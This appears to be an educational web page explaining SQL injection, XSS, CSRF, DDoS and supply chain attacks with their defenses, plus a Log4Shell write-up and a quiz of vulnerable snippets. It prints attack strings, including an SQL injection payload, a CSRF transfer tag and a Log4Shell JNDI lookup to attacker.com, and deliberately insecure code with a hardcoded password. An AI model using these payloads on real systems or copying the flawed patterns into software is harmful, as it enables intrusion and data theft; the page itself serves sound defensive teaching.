Common Attack Vectors & Defenses
Every system has an attack surface — the sum of all points where an attacker could try to gain access. Understanding common attack vectors lets you design defenses proactively rather than patch reactively.
Attack Surface Overview
SQL Injection
How It Works
// VULNERABLE — user input concatenated into query query = "SELECT * FROM users WHERE id = '" + userId + "'" // Attacker sends: ' OR '1'='1' -- // Result: SELECT * FROM users WHERE id = '' OR '1'='1' --' // Returns ALL users!
Defense: Parameterized Queries
// SAFE — parameterized query query = "SELECT * FROM users WHERE id = $1" db.execute(query, [userId]) // User input is ALWAYS treated as data, never as SQL
Additional defenses: Input validation, least-privilege DB accounts, WAF rules.
XSS (Cross-Site Scripting)
Stored vs Reflected
- Stored XSS: Malicious script saved in database, served to all users (e.g., forum post containing
<script>) - Reflected XSS: Script in URL parameter reflected back in response (e.g., search results page)
Defenses
- Output encoding: Escape HTML entities before rendering user content
- Content-Security-Policy (CSP):
Content-Security-Policy: script-src 'self'— blocks inline scripts - HttpOnly cookies: Prevents JavaScript from reading session cookies
CSRF (Cross-Site Request Forgery)
The Attack
User is logged into bank.com. Attacker's page contains: <img src="bank.com/transfer?to=attacker&amount=10000">. Browser sends the request with the user's cookies — bank processes it as legitimate.
Defenses
- CSRF tokens: Server generates a random token per session; forms must include it
- SameSite cookies:
SameSite=Strictprevents cookies from being sent cross-origin - Check Origin/Referer headers: Reject requests from unexpected origins
DDoS Attacks
| Type | Mechanism | Mitigation |
|---|---|---|
| Volumetric | Flood bandwidth (UDP, amplification) | CDN absorption, upstream filtering |
| Protocol | Exhaust connection state (SYN flood) | SYN cookies, connection limits |
| Application | Expensive requests (slow POST, regex) | Rate limiting, WAF, request validation |
Supply Chain Attacks
Attackers compromise a dependency rather than your code directly:
- Typosquatting: Publishing malicious packages with similar names (
lodashvs1odash) - Compromised maintainers: Attacker gains access to a popular package's publish credentials
- Build system attacks: Injecting malicious code during CI/CD (SolarWinds)
Defenses
- Pin dependency versions, use lockfiles
- Audit dependencies regularly (
npm audit, Snyk, Dependabot) - Generate SBOMs (Software Bill of Materials) for visibility
- Use private registries with approved packages
Real-World Examples
Log4Shell (CVE-2021-44228): The Worst Vulnerability in a Decade
A critical vulnerability in Log4j — a Java logging library used in millions of applications. Attackers could achieve Remote Code Execution by simply sending a crafted string like ${jndi:ldap://attacker.com/exploit} in any logged input (HTTP headers, form fields, chat messages). Log4j would resolve the JNDI lookup, download attacker code, and execute it. Impact: Minecraft servers, Apple iCloud, AWS, Steam — virtually every Java app was vulnerable. This demonstrated why supply chain visibility (SBOMs) and rapid patching capabilities are critical.
Cloudflare: DDoS Mitigation at the Edge
Cloudflare's network spans 300+ cities and absorbs attacks close to their source. Their approach: analyze traffic patterns at the edge using machine learning, drop malicious packets before they reach origin servers, and challenge suspicious requests with CAPTCHAs. They've mitigated attacks exceeding 71 million requests per second — possible only because filtering happens at the network edge, not at the origin. This is why CDNs are a security tool, not just a performance tool.
Interactive: Spot the Vulnerability
Find the Security Bug
Each code snippet has a vulnerability. Identify it:
app.get('/search', (req, res) => {
res.send('<h1>Results for: ' + req.query.q + '</h1>');
});
const password = "db_p@ssw0rd_prod";
const conn = mysql.connect({
host: 'db.internal', password: password
});
db.query("SELECT * FROM orders WHERE user_id = '"
+ req.params.userId + "' AND status = 'active'");
app.post('/transfer', (req, res) => {
// No token verification
transferFunds(req.user.id, req.body.to, req.body.amount);
res.send('Done');
});